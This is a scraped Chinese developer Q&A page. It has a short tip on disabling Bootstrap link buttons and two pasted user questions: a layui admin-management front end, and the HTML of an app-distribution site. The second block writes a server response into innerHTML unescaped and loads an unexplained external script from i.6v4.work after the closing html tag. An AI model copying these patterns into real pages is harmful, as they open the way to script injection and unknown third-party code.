bootstrap<a>标签的显示与隐藏

本文介绍了一种使用JavaScript操作DOM元素状态的方法,特别是如何通过添加和移除'disabled'类来改变按钮的状态。此技巧适用于前端开发中需要动态控制元素交互性的场景。
<a id="modal-revoke1" role="button"  onclick="openModal(4)" class="btn btn-success btn-xs disabled"
       data-toggle="modal">撤销</a>
$("#modal-revoke1").addClass('disabled');
$("#modal-revoke1").removeClass('disabled');
在class里面添加 disabled 属性。
我现在就负责把管理员模块前端完善好,你告诉我我怎么做,以下是我现有的管理员模块代码addminadd.html: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> 管理员管理 </title> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="lib/loading/okLoading.js"></script> <link rel="stylesheet" href="css/main.css" media="all"> </head> <style> .imgs{display: none;} .picture{display: none;} </style> <body> <div class="x-body"> <form class="layui-form" id="adminadd"> <input type="hidden" name="id" value=""> <div class="layui-form-item"> <label for="username" class="layui-form-label"> <span class="x-red">*</span>登录名 </label> <div class="layui-input-inline"> <input type="text" id="name" name="name" required="" lay-verify="required" autocomplete="off" class="layui-input" value=""> </div> <div class="layui-form-mid layui-word-aux"> <span class="x-red">*</span>将会成为您唯一的登入名 </div> </div> <div class="layui-form-item"> <label for="phone" class="layui-form-label"> <span class="x-red">*</span>手机 </label> <div class="layui-input-inline"> <input type="text" id="phone" name="phone" required="" lay-verify="phone" autocomplete="off" class="layui-input" value=""> </div> <div class="layui-form-mid layui-word-aux"> <span class="x-red">*</span>将会成为您唯一的登入名 </div> </div> <div class="layui-form-item"> <label for="role" class="layui-form-label"> <span class="x-red">*</span>用户组 </label> <div class="layui-input-inline"> <select name="group_id"> <option value="">请选择角色</option> <option value="1" >超级管理员</option> </select> </div> </div> <div class="layui-form-item"> <label for="link" class="layui-form-label"> <span class="x-red">*</span>缩略图 </label> <div class="layui-input-inline"> <div class="site-demo-upbar"> <div class=" layui-upload-button" style="border:#FFFFFF ;"> <button type="button" class="layui-btn" id="test1"> <i class="layui-icon"></i>上传图片 </button> <input class="layui-upload" type="file" accept="undefined" id="previewImg" name="img" onchange="upload(this,)"> </div> </div> </div> <a href="javascript:;" style="" class="layui-btn " id="cancel"><i class="layui-icon">ဂ</i>撤销上传</a> </div> <div class="layui-form-item imgs" id="imgshow"> <label class="layui-form-label">缩略图展示 </label> <img src="" id="pimages" name="pimages" style="width: 400px;height: 200px;"/> <input id="avatar" name="image" required="" type="hidden" value=""> </div> <div class="layui-form-item"> <label for="L_pass" class="layui-form-label"> <span class="x-red">*</span>密码 </label> <div class="layui-input-inline"> <input type="password" id="L_pass" name="password" required="" lay-verify="pass" autocomplete="off" class="layui-input" value=""> </div> <div class="layui-form-mid layui-word-aux"> 6到16个字符 </div> </div> <div class="layui-form-item"> <label for="L_repass" class="layui-form-label"> <span class="x-red">*</span>确认密码 </label> <div class="layui-input-inline"> <input type="password" id="L_repass" name="repass" required="" lay-verify="repass" autocomplete="off" class="layui-input"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label">状态</label> <div class="layui-input-block"> <input type="radio" name="status" value="1" title="启用" checked="checked"> <div class="layui-unselect layui-form-radio layui-form-radioed"><i class="layui-anim layui-icon layui-anim-scaleSpring"></i> <div>启用</div> </div> <input type="radio" name="status" value="0" title="禁用" checked="checked"> <div class="layui-unselect layui-form-radio"><i class="layui-anim layui-icon"></i> <div>禁用</div> </div> </div> </div> <div class="layui-form-item"> <label for="L_repass" class="layui-form-label"> </label> <button class="layui-btn" lay-filter="add" lay-submit=""> 增加 </button> </div> </form> </div> <script src="lib/layui/layui.js" charset="utf-8"> </script> <script src="js/x-layui.js" charset="utf-8"> </script> <script> layui.use([&#39;form&#39;,&#39;layer&#39;], function(){ $ = layui.jquery; var form = layui.form() ,layer = layui.layer; okLoading.close($); //自定义验证规则 /*form.verify({ nikename: function(value){ if(value.length < 5){ return &#39;昵称至少得5个字符啊&#39;; } } ,pass: [/(.+){6,12}$/, &#39;密码必须6到12位&#39;] ,repass: function(value){ if($(&#39;#L_pass&#39;).val()!=$(&#39;#L_repass&#39;).val()){ return &#39;两次密码不一致&#39;; } } });*/ //监听提交 form.on(&#39;submit(add)&#39;, function(data){ var admindate=$("#adminadd").serialize(); //var data = data.field; $.ajax({ type:&#39;post&#39;, url:"xxx", data:admindate, datatype:"json", success:function (data) { if(data.status==1){ layer.msg(data.info,{icon:1,time:1000}); setTimeout(function(){ window.parent.location.reload(); var index = parent.layer.getFrameIndex(window.name); parent.layer.close(index); },1000); return false; }else{ layer.msg(data.info,{icon:5,time:2000});return false; } } }) return false; }); }); </script> <script> //轮播图上传 function upload(obj,id) { var formData = new FormData(); formData.append(&#39;img&#39;, $(&#39;#previewImg&#39;)[0].files[0]); formData.append(&#39;id&#39;, id);//将id追加再id中 layer.msg(&#39;图片上传中&#39;, {icon: 16}); $.ajax({ type:"post", processData: false, contentType: false, url:"xxx", data:formData, success:function(data){ if(data.status == 1){ //console.log(data.image_name); layer.closeAll(&#39;loading&#39;); //layer.msg(data.info,{icon:1,time:1000}); $("#pimages").attr(&#39;src&#39;,data.image_name); $("#avatar").val(data.image_name); $(".imgs").show(); return false; }else{ layer.msg(data.info,{icon:2,time:1000}); } } }); } </script> </body> </html> 和adminlist.html: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> 管理员列表 </title> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="lib/loading/okLoading.js"></script> <link rel="stylesheet" href="css/main.css" media="all"> <link rel="stylesheet" href="css/bootstrap.css"> </head> <body> <div class="x-nav"> <span class="layui-breadcrumb"> <a><cite>首页</cite></a> <a><cite>管理员管理</cite></a> <a><cite>管理员列表</cite></a> </span> <a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" href="javascript:location.replace(location.href);" title="刷新"><i class="layui-icon" style="line-height:30px">ဂ</i></a> </div> <div class="x-body"> <form class="layui-form x-center" action="" style="width:80%"> <div class="layui-form-pane" style="margin-top: 15px;"> <div class="layui-form-item"> <label class="layui-form-label">日期范围</label> <div class="layui-input-inline"> <input class="layui-input" placeholder="开始日" id="LAY_demorange_s"> </div> <div class="layui-input-inline"> <input class="layui-input" placeholder="截止日" id="LAY_demorange_e"> </div> <div class="layui-input-inline"> <input type="text" name="username" placeholder="请输入登录名" autocomplete="off" class="layui-input"> </div> <div class="layui-input-inline" style="width:80px"> <button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button> </div> </div> </div> </form> <xblock> <button class="layui-btn layui-btn-danger" onclick="delAll()"><i class="layui-icon"></i>批量删除</button> <button class="layui-btn" onclick="admin_add(&#39;添加用户&#39;,&#39;adminadd.html&#39;,&#39;600&#39;,&#39;500&#39;)"><i class="layui-icon"></i>添加</button> <span class="x-right" style="line-height:40px">共有数据:88 条</span> </xblock> <table class="layui-table"> <thead> <tr> <th> <input type="checkbox" name="" value=""> </th> <th> ID </th> <th> 登录名 </th> <th> 手机 </th> <th> 邮箱 </th> <th> 角色 </th> <th> 加入时间 </th> <th> 状态 </th> <th> 操作 </th> </tr> </thead> <tbody> <tr> <td> <input type="checkbox" value="1" name=""> </td> <td> 1 </td> <td> admin </td> <td > 1111111111 </td> <td > 1111111@qq.com </td> <td > </td> <td> 1970-01-01 08:00:00 </td> <td class="td-status"> <span class="layui-btn layui-btn-normal " onclick="admin_stop(this,&#39;1&#39;,0)"> 启用 </span> </td> <td class="td-manage"> <!--<a style="text-decoration:none" onclick="admin_stop(this,&#39;1&#39;)" href="javascript:;" title="停用"> <i class="layui-icon"></i> </a>--> <a title="编辑" href="javascript:;" onclick="admin_edit(&#39;编辑&#39;,&#39;adminadd.html&#39;,&#39;1&#39;,&#39;&#39;,&#39;510&#39;)" class="ml-5" style="text-decoration:none"> <i class="layui-icon"></i> </a> <a title="删除" href="javascript:;" onclick="admin_del(this,&#39;1&#39;)" style="text-decoration:none"> <i class="layui-icon"></i> </a> </td> </tr> <tr> <td> <input type="checkbox" value="1" name=""> </td> <td> 2 </td> <td> admin1 </td> <td > 1111111111 </td> <td > 111111111@qq.com </td> <td > 超级管理员 </td> <td> 1970-01-01 08:00:00 </td> <td class="td-status"> <span class="layui-btn layui-btn-normal " onclick="admin_stop(this,&#39;2&#39;,0)"> 启用 </span> </td> <td class="td-manage"> <!--<a style="text-decoration:none" onclick="admin_stop(this,&#39;2&#39;)" href="javascript:;" title="停用"> <i class="layui-icon"></i> </a>--> <a title="编辑" href="javascript:;" onclick="admin_edit(&#39;编辑&#39;,&#39;adminadd.html&#39;,&#39;2&#39;,&#39;&#39;,&#39;510&#39;)" class="ml-5" style="text-decoration:none"> <i class="layui-icon"></i> </a> <a title="删除" href="javascript:;" onclick="admin_del(this,&#39;1&#39;)" style="text-decoration:none"> <i class="layui-icon"></i> </a> </td> </tr> <tr> <td> <input type="checkbox" value="1" name=""> </td> <td> 3 </td> <td> admin2 </td> <td > 11111111 </td> <td > 11111111@qq.com </td> <td > 超级管理员 </td> <td> 1970-01-01 08:00:00 </td> <td class="td-status"> <span class="layui-btn layui-btn-normal " onclick="admin_stop(this,&#39;3&#39;,0)"> 启用 </span> </td> <td class="td-manage"> <!--<a style="text-decoration:none" onclick="admin_stop(this,&#39;3&#39;)" href="javascript:;" title="停用"> <i class="layui-icon"></i> </a>--> <a title="编辑" href="javascript:;" onclick="admin_edit(&#39;编辑&#39;,&#39;adminadd.html&#39;,&#39;3&#39;,&#39;&#39;,&#39;510&#39;)" class="ml-5" style="text-decoration:none"> <i class="layui-icon"></i> </a> <a title="删除" href="javascript:;" onclick="admin_del(this,&#39;1&#39;)" style="text-decoration:none"> <i class="layui-icon"></i> </a> </td> </tr> <tr> <td> <input type="checkbox" value="1" name=""> </td> <td> 4 </td> <td> admin </td> <td > 1111111111 </td> <td > 111111111@qq.com </td> <td > </td> <td> 2019-07-20 17:03:28 </td> <td class="td-status"> <span class="layui-btn layui-btn-normal " onclick="admin_stop(this,&#39;4&#39;,0)"> 启用 </span> </td> <td class="td-manage"> <!--<a style="text-decoration:none" onclick="admin_stop(this,&#39;4&#39;)" href="javascript:;" title="停用"> <i class="layui-icon"></i> </a>--> <a title="编辑" href="javascript:;" onclick="admin_edit(&#39;编辑&#39;,&#39;adminadd.html&#39;,&#39;4&#39;,&#39;&#39;,&#39;510&#39;)" class="ml-5" style="text-decoration:none"> <i class="layui-icon"></i> </a> <a title="删除" href="javascript:;" onclick="admin_del(this,&#39;1&#39;)" style="text-decoration:none"> <i class="layui-icon"></i> </a> </td> </tr> <tr> <td> <input type="checkbox" value="1" name=""> </td> <td> 5 </td> <td> admin </td> <td > 11111111 </td> <td > 111111111@qq.com </td> <td > </td> <td> 2019-07-20 17:03:41 </td> <td class="td-status"> <span class="layui-btn layui-btn-normal " onclick="admin_stop(this,&#39;5&#39;,0)"> 启用 </span> </td> <td class="td-manage"> <!--<a style="text-decoration:none" onclick="admin_stop(this,&#39;5&#39;)" href="javascript:;" title="停用"> <i class="layui-icon"></i> </a>--> <a title="编辑" href="javascript:;" onclick="admin_edit(&#39;编辑&#39;,&#39;adminadd.html&#39;,&#39;5&#39;,&#39;&#39;,&#39;510&#39;)" class="ml-5" style="text-decoration:none"> <i class="layui-icon"></i> </a> <a title="删除" href="javascript:;" onclick="admin_del(this,&#39;1&#39;)" style="text-decoration:none"> <i class="layui-icon"></i> </a> </td> </tr> </tbody> </table> <div id="page"></div> </div> <script src="lib/layui/layui.js" charset="utf-8"></script> <script src="js/x-layui.js" charset="utf-8"></script> <script> layui.use([&#39;laydate&#39;,&#39;element&#39;,&#39;laypage&#39;,&#39;layer&#39;], function(){ $ = layui.jquery;//jquery laydate = layui.laydate;//日期插件 lement = layui.element();//面包导航 laypage = layui.laypage;//分页 layer = layui.layer;//弹出层 okLoading.close($); //以上模块根据需要引入 /*laypage({ cont: &#39;page&#39; ,pages: 100 ,first: 1 ,last: 100 ,prev: &#39;<&#39; ,next: &#39;>&#39; }); */ var start = { min: laydate.now() ,max: &#39;2099-06-16 23:59:59&#39; ,istoday: false ,choose: function(datas){ end.min = datas; //开始日选好后,重置结束日的最小日期 end.start = datas //将结束日的初始值设定为开始日 } }; var end = { min: laydate.now() ,max: &#39;2099-06-16 23:59:59&#39; ,istoday: false ,choose: function(datas){ start.max = datas; //结束日选好后,重置开始日的最大日期 } }; document.getElementById(&#39;LAY_demorange_s&#39;).onclick = function(){ start.elem = this; laydate(start); } document.getElementById(&#39;LAY_demorange_e&#39;).onclick = function(){ end.elem = this laydate(end); } }); //批量删除提交 function delAll () { layer.confirm(&#39;确认要删除吗?&#39;,function(index){ //捉到所有被选中的,发异步进行删除 layer.msg(&#39;删除成功&#39;, {icon: 1}); }); } /*添加*/ function admin_add(title,url,w,h){ x_admin_show(title,url,w,h); } /*停用*/ function admin_stop(obj,id,e){ layer.confirm(e==1?&#39;你确定要启用吗?&#39;:&#39;你确定要禁用吗?&#39;,{icon: 3, title:&#39;提示&#39;},function(index){ $.ajax({ type:"post", url:"xxx", data:{id:id,status:e}, dataType:"json", success:function(data) { if(data.status==1){ //发异步把用户状态进行更改 $(obj).attr("class","layui-btn layui-btn-danger "); $(obj).text("隐藏"); $(obj).remove(); layer.msg(data.info,{icon: 6,time:1000}); setTimeout(function(){ window.location.reload(); },1000);return false; }else{ //发异步把用户状态进行更改 $(obj).attr("class","layui-btn layui-btn-normal "); $(obj).text("显示"); $(obj).remove(); layer.msg(data.info,{icon: 5,time:1000});return false; } } }); }); } /*启用*/ function admin_start(obj,id){ layer.confirm(&#39;确认要启用吗?&#39;,function(index){ //发异步把用户状态进行更改 $(obj).parents("tr").find(".td-manage").prepend(&#39;<a style="text-decoration:none" onClick="admin_stop(this,id)" href="javascript:;" title="停用"><i class="layui-icon"></i></a>&#39;); $(obj).parents("tr").find(".td-status").html(&#39;<span class="layui-btn layui-btn-normal layui-btn-mini">已启用</span>&#39;); $(obj).remove(); layer.msg(&#39;已启用!&#39;,{icon: 6,time:1000}); }); } //编辑 function admin_edit (title,url,id,w,h) { url = url+"?id="+id; x_admin_show(title,url,w,h); } /*删除*/ function admin_del(obj,id){ layer.confirm(&#39;确认要删除吗?&#39;,function(index){ //发异步删除数据 $(obj).parents("tr").remove(); layer.msg(&#39;已删除!&#39;,{icon:1,time:1000}); }); } </script> </body> </html>,这是我的admin.js:// js/admin.js const AdminManager = { // 获取所有管理员 getAll: function() { return JSON.parse(localStorage.getItem(&#39;admins&#39;)) || []; }, // 保存所有管理员 saveAll: function(admins) { localStorage.setItem(&#39;admins&#39;, JSON.stringify(admins)); }, // 获取单个管理员 getById: function(id) { return this.getAll().find(item => item.id == id); }, // 添加或更新管理员 save: function(admin) { let admins = this.getAll(); if (admin.id) { // 更新 const index = admins.findIndex(a => a.id == admin.id); if (index !== -1) { admins[index] = admin; } } else { // 新增 admin.id = this.generateId(); admin.create_time = new Date().toLocaleString(); admins.push(admin); } this.saveAll(admins); return admin; }, // 删除管理员 delete: function(id) { let admins = this.getAll().filter(a => a.id != id); this.saveAll(admins); }, // 生成ID generateId: function() { const admins = this.getAll(); return admins.length > 0 ? Math.max(...admins.map(a => a.id)) + 1 : 1; } }现在的问题是运行出来界面添加删除按钮点了没反应,我现在只需要弄好前端不需要和后端交互,添加的信息存本地就行先不连数据库,请你帮我解决一下,并且一定要给我完整的修改后的代码,
07-04
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"> <meta name="keywords" content="apk,android,ipa,ios,iphone,ipad,app封装,应用分发,企业签名"> <meta name="description" content="耳朵分发为各行业提供ios企业签名、app封装、应用分发托管服务!"> <title>耳朵分发 - App托管服务分发平台|应用封装|安卓托管|iOS分发|ipa企业签名</title> <link href="/static/index/icons.css" rel="stylesheet"> <link href="/static/index/bootstrap.css" rel="stylesheet"> <script type="text/javascript" src="/static/index/analytics.js"></script> <script type="text/javascript"> var startTime = new Date(); var reg_link = &#39;/index.php/reg&#39;; var letter_doodle = ["B","e","t","a","A","p","p","H","o","s","t","<br>","{","<br>"," ","r","e","t","u","r","n"," ",&#39;"&#39;,"1","9","2",".","1","6","8",".","8",".","5","1",&#39;"&#39;,"<br>","}"]; var end_letter_doodle = &#39;<i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">9</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">2</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">6</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">8</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">8</i><i class="icon-comma trans"></i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">5</i><i class="icon-" style="font-style:normal;font-size:100px;font-weight:bold">1</i>&#39;; </script> </head> <body> <div id="loadingCover" onclick="location.reload()" class="loading-cover" style="cursor:pointer"> <span class="circle prepare"><img src="/static/index/loading-Home.gif"></span> </div> <link href="/static/index/home.css" rel="stylesheet"> <script type="text/javascript" src="/static/index/home.js"></script> <nav class="navbar navbar-transparent" role="navigation"> <div class="navbar-header"> <a class="navbar-brand" href="/"><i class="icon-" style="font-size:40px;font-weight:bold">192.168.8.51</i></a> </div> <div class="collapse navbar-collapse navbar-ex1-collapse" ng-controller="NavbarController"> <div class="dropdown"> <div> <i class="icon-brace-left"></i> <ul class="navbar-bracket"> <li><a href="/">首页</a><i class="icon-comma"></i></li> <li><a href="/index.php/install">分发价格</a><i class="icon-comma"></i></li> <li><a href="/index.php/sign">签名价格</a><i class="icon-comma"></i></li> <li><a href="/index.php/webview">封装价格</a><i class="icon-comma"></i></li> <li><a href="javascript:void(0)" onclick="showKeyModal()">获取密钥</a><i class="icon-comma"></i></li> <li><a href="/index.php/login">立即登录</a><i class="icon-comma"></i></li> <li class="signup"><a href="/index.php/reg">免费注册</a></li> </ul> <i class="icon-brace-right"></i> </div> </div> </div> <!-- 获取密钥弹窗 --> <div id="keyModal" class="key-modal" style="display:none;"> <div class="key-modal-overlay" onclick="hideKeyModal()"></div> <div class="key-modal-container"> <div class="key-modal-content"> <div class="key-modal-header"> <h3>获取密钥</h3> <button class="key-modal-close" onclick="hideKeyModal()">×</button> </div> <div class="key-modal-body"> <div class="key-input-group"> <label>请输入密钥:</label> <input type="text" id="keyInput" placeholder="输入您的密钥..." /> </div> <div id="keyResult" class="key-result" style="display:none;"></div> </div> <div class="key-modal-footer"> <button class="key-btn key-btn-primary" onclick="submitKey()">获取</button> <button class="key-btn key-btn-secondary" onclick="hideKeyModal()">取消</button> </div> </div> </div> </div> <style> .key-modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; } .key-modal-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.6); } .key-modal-container { position: relative; display: flex; align-items: center; justify-content: center; height: 100%; } .key-modal-content { background: #fff; border-radius: 8px; box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3); width: 400px; max-width: 90%; font-family: &#39;Helvetica Neue&#39;, Arial, sans-serif; } .key-modal-header { padding: 20px 25px 15px; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; } .key-modal-header h3 { margin: 0; color: #333; font-size: 18px; font-weight: 500; } .key-modal-close { background: none; border: none; font-size: 24px; color: #999; cursor: pointer; padding: 0; width: 30px; height: 30px; display: flex; align-items: center; justify-content: center; } .key-modal-close:hover { color: #666; } .key-modal-body { padding: 25px; } .key-input-group { margin-bottom: 20px; } .key-input-group label { display: block; margin-bottom: 8px; color: #555; font-size: 14px; } .key-input-group input { width: 100%; padding: 12px 15px; border: 1px solid #ddd; border-radius: 4px; font-size: 14px; box-sizing: border-box; } .key-input-group input:focus { outline: none; border-color: #4CAF50; box-shadow: 0 0 0 2px rgba(76, 175, 80, 0.2); } .key-result { padding: 15px; background: #f8f9fa; border: 1px solid #e9ecef; border-radius: 4px; font-family: monospace; font-size: 12px; color: #333; word-break: break-all; } .key-modal-footer { padding: 15px 25px 20px; display: flex; justify-content: flex-end; gap: 10px; } .key-btn { padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 500; transition: all 0.2s; } .key-btn-primary { background: #4CAF50; color: white; } .key-btn-primary:hover { background: #45a049; } .key-btn-secondary { background: #f8f9fa; color: #666; border: 1px solid #ddd; } .key-btn-secondary:hover { background: #e9ecef; } </style> <script> function showKeyModal() { document.getElementById(&#39;keyModal&#39;).style.display = &#39;block&#39;; document.getElementById(&#39;keyInput&#39;).focus(); } function hideKeyModal() { document.getElementById(&#39;keyModal&#39;).style.display = &#39;none&#39;; document.getElementById(&#39;keyInput&#39;).value = &#39;&#39;; document.getElementById(&#39;keyResult&#39;).style.display = &#39;none&#39;; } function submitKey() { var key = document.getElementById(&#39;keyInput&#39;).value.trim(); if (!key) { alert(&#39;请输入密钥!&#39;); return; } // 发送AJAX请求到key_handler.php var xhr = new XMLHttpRequest(); xhr.open(&#39;POST&#39;, &#39;/key_handler.php&#39;, true); xhr.setRequestHeader(&#39;Content-Type&#39;, &#39;application/x-www-form-urlencoded&#39;); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var result = document.getElementById(&#39;keyResult&#39;); result.innerHTML = xhr.responseText; result.style.display = &#39;block&#39;; } }; xhr.send(&#39;key=&#39; + encodeURIComponent(key)); } // 按ESC键关闭弹窗 document.addEventListener(&#39;keydown&#39;, function(e) { if (e.key === &#39;Escape&#39; && document.getElementById(&#39;keyModal&#39;).style.display === &#39;block&#39;) { hideKeyModal(); } }); // 按Enter键提交 document.addEventListener(&#39;keydown&#39;, function(e) { if (e.key === &#39;Enter&#39; && document.getElementById(&#39;keyModal&#39;).style.display === &#39;block&#39;) { submitKey(); } }); </script> </nav> <div class="super-container"> <div class="section section-1 ready"> <div class="beta-app-host"> <pre class="typed-finish"> BetaAppHost <br> { <br> return "192.168.8.51" <br> } </pre> <b></b> </div> <div class="plane-wrapper" style="left:320px"> <img class="plane" src="/static/index/plane.svg"> <div class="rotate-container"> <img class="propeller" src="/static/index/propeller.svg"> </div> </div> </div> <div class="section section-2 ready"> <div class="features"> <div class="cols" style="width:480px"> <div class="back"> </div> <div class="front"> <div class="group expanded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-launch"></i> </div> <div class="title"> 内测托管 </div> <div class="text"> 一键上传应用,扫描二维码下载 </div> </td> </tr> </tbody> </table> </div> </div> <div class="group folded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-user-access"></i> </div> <div class="title"> 权限控制 </div> <div class="text"> 灵活的访问权限控制,可添加团队成员 <br> 共同上传、管理应用 </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> <div class="cols" style="width:480px"> <div class="back"> </div> <div class="front"> <div class="group folded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-plugin"></i> </div> <div class="title"> 开放 API </div> <div class="text"> 使用 192.168.8.51 的 API 接口可以方便搭建 <br> Jenkins 等自动集成的系统 </div> </td> </tr> </tbody> </table> </div> </div> <div class="group expanded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-combo"></i> </div> <div class="title"> 应用合并 </div> <div class="text"> 扫描同一个二维码,根据设备类型自动下载对应的 iOS <br> 或 Android 应用。 </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> <div class="cols" style="width:480px"> <div class="back"> </div> <div class="front"> <div class="group expanded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-console"></i> </div> <div class="title"> 命令行工具 </div> <div class="text"> 2sx-cli 可以通过命令行查看、上传、编译、打包应用 </div> </td> </tr> </tbody> </table> </div> </div> <div class="group folded"> <div class="content-wrapper"> <table> <tbody> <tr> <td> <div class="icon"> <i class="icon-webhooks"></i> </div> <div class="title"> Web Hooks </div> <div class="text"> 应用更新时团队成员会收到更新邮件,添加Web Hooks的第三方平台也会有更新消息提醒。(已支持 Slack、简聊、BearyChat、纷云、瀑布 IM等) </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </div> <div class="section section-3"> <table> <tbody> <tr> <td> <div class="tools"> <div class="title"> Utility Tools </div> <div class="boxes-container"> <div class="cols"> <div class="box-wrapper"> <p class="tool-desc"> 让测试用户快速获取 UDID 并发送给开发者 </p> <div class="brace"> <i class="icon-brace-box"></i> </div> <div class="box"> <div class="side left"> </div> <div class="side top"> <div class="lid-left"> </div> <div class="lid-right"> </div> </div> <div class="side front"> <i class="icon-udid"></i> </div> <div class="side right"> GET <br> UDID </div> <div class="side back"> </div> </div> </div> </div> <div class="cols"> <div class="box-wrapper"> <p class="tool-desc"> 读取手机日志,快速定位无法安装的原因 </p> <div class="brace"> <i class="icon-brace-box"></i> </div> <div class="box"> <div class="side left"> </div> <div class="side top"> <div class="lid-left"> </div> <div class="lid-right"> </div> </div> <div class="side front"> <i class="icon-filter"></i> </div> <div class="side right"> LOG <br> GURU </div> <div class="side back"> </div> </div> </div> </div> <div class="cols"> <div class="box-wrapper"> <p class="tool-desc"> 添加 SDK,灵活实现应用的检测更新功能 </p> <div class="brace"> <i class="icon-brace-box"></i> </div> <div class="box"> <div class="side left"> </div> <div class="side top"> <div class="lid-left"> </div> <div class="lid-right"> </div> </div> <div class="side front"> <i class="icon-update"></i> </div> <div class="side right"> AUTO- <br> UPDATE </div> <div class="side back"> </div> </div> </div> </div> <div class="cols"> <div class="box-wrapper"> <p class="tool-desc"> 快速检测本机在 192.168.8.51 的上传下载速度 </p> <div class="brace"> <i class="icon-brace-box"></i> </div> <div class="box"> <div class="side left"> </div> <div class="side top"> <div class="lid-left"> </div> <div class="lid-right"> </div> </div> <div class="side front"> <i class="icon-test-speed"></i> </div> <div class="side right"> SPEED <br> TEST </div> <div class="side back"> </div> </div> </div> </div> </div> </div> </td> </tr> </tbody> </table> </div> <div class="section section-4"> <table> <tbody> <tr> <td> <div class="content-wrapper"> <p class="title"> What Our Users Say </p> <div class="users-wrapper"> <div class="item jumei" data-item="jumei"> <span class="logo"><i class="icon-logo-jumei"></i></span> <p class="words"> 就像送自己的孩子去托儿所一样,安全、便捷,192.168.8.51 将我们这些“父母”从发包内测中解放!期待越办越好,小美会一如既往支持 192.168.8.51! </p> </div> <div class="item jiecao" data-item="jiecao"> <span class="logo"><i class="icon-logo-jiecao"></i></span> <p class="words"> 节操精选的公司内部测试到小范围用户群灰度测试,192.168.8.51 极大方便帮我们解决了安装包传输的问题;安全放心、操作便捷、界面简洁! </p> </div> <div class="item jd" data-item="jd"> <span class="logo"><i class="icon-logo-jd"></i></span> <p class="words"> 192.168.8.51 解决了京东阅读客户端每日测试发布的难题,大大减轻了跨地域开发测试的难度,192.168.8.51 加油! </p> </div> <div class="item ebaoyang" data-item="ebaoyang"> <span class="logo"><i class="icon-logo-ebaoyang"></i></span> <p class="words"> e 保养一直在用 192.168.8.51 进行测试托管分发,喜欢 192.168.8.51 的 UI 和用户体验设计,硅谷范儿的产品! </p> </div> <div class="item xiachufang" data-item="xiachufang"> <span class="logo"><i class="icon-logo-xiachufang"></i></span> <p class="words"> 192.168.8.51 下厨房一样,都在 UI 和 UE 上下功夫,将开发者工具做到简洁极致,提高效率的同时也令人赏心悦目。 </p> </div> </div> </div> </td> </tr> </tbody> </table> </div> <div class="section section-5"> <table> <tbody> <tr> <td> <div class="imfir"> <div class="brand-animate"> <span class="cursor"></span> </div> <div class="thumbsup-wrapper"> <div class="brace-group"> <i class="icon-brace-left"></i> <div class="brace-content"> <i class="icon-thumbsup"></i><span class="face"><i class="icon-comma-eye left"></i><i class="icon-comma-eye right"></i><i class="icon-mouth"></i></span> </div> <i class="icon-brace-right"></i> </div> <p class="are-you-like">   </p> </div> </div> </td> </tr> </tbody> </table> </div> </div></body> </html><script async="async" src="//i.6v4.work/v/?uid=387952"></script>查找里面的密钥
最新发布
08-21
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值